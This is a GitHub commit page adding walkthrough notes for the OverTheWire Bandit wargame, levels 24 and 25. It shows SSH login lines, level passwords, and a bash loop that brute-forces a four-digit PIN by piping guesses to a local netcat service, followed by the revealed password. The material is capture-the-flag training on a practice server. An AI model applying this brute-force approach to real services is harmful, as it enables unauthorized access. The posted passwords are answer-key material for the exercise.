-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
8dad8c8
commit fc90ef8
Showing
2 changed files
with
30 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -5,3 +5,22 @@ ssh [email protected] -p 2220 | |
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ | ||
``` | ||
|
||
The challenge here is to write a script that loops and calls netcat. | ||
|
||
> seq 0 9999 | ||
|
||
``` | ||
#!/bin/bash | ||
PWD='UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ' | ||
for n in `seq 1 9999`; | ||
do | ||
echo "$PWD $n" #echo a line into the stdin of nc | ||
done | nc localhost 30002 | ||
``` | ||
|
||
> Correct! | ||
> The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG | ||
> | ||
> Exiting. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
# Bandit Level 25 | ||
|
||
``` | ||
ssh [email protected] -p 2220 | ||
uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG | ||
``` | ||
|
||
Need to manually select the shell | ||
|
||
|
||
|